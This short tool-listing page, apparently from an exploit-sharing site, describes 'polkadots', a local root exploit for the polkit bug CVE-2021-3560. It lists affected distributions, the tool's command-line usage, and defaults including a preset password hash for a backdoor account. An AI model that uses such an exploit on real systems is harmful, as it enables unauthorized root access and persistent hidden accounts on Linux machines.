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CVE-2021-3560 Local PrivEsc Exploit

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polkadots

CVE-2021-3560 Local PrivEsc Exploit

This exploit creates a new privileged user with which you can escalate to root.


Affected Distributions:

  • RHEL 8
  • Fedora 21
  • Debian testing (Bullseye)
  • Ubuntu 20.04

Usage

root@kitploit:~
./polkadots -a [Account] -n [Account name] -h [Password hash] -i [iterations]
	     Generate hashed passwords with: openssl passwd -6 password@123

Defaults:
    -a boris
    -n Boris Ivanovich Grishenko
    -h $6$cGKhfu9znRnOQV1h$2j/3WKyqTcCaftP1PGhW8Pghj2qV5j8zwy1gHrt9eILUE6WKeWVCTa9QgkskIfwVXpjVI.TuX2D.rEkbwKubi/
    -i 20

Discovered By: Kevin Backhouse

Source: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

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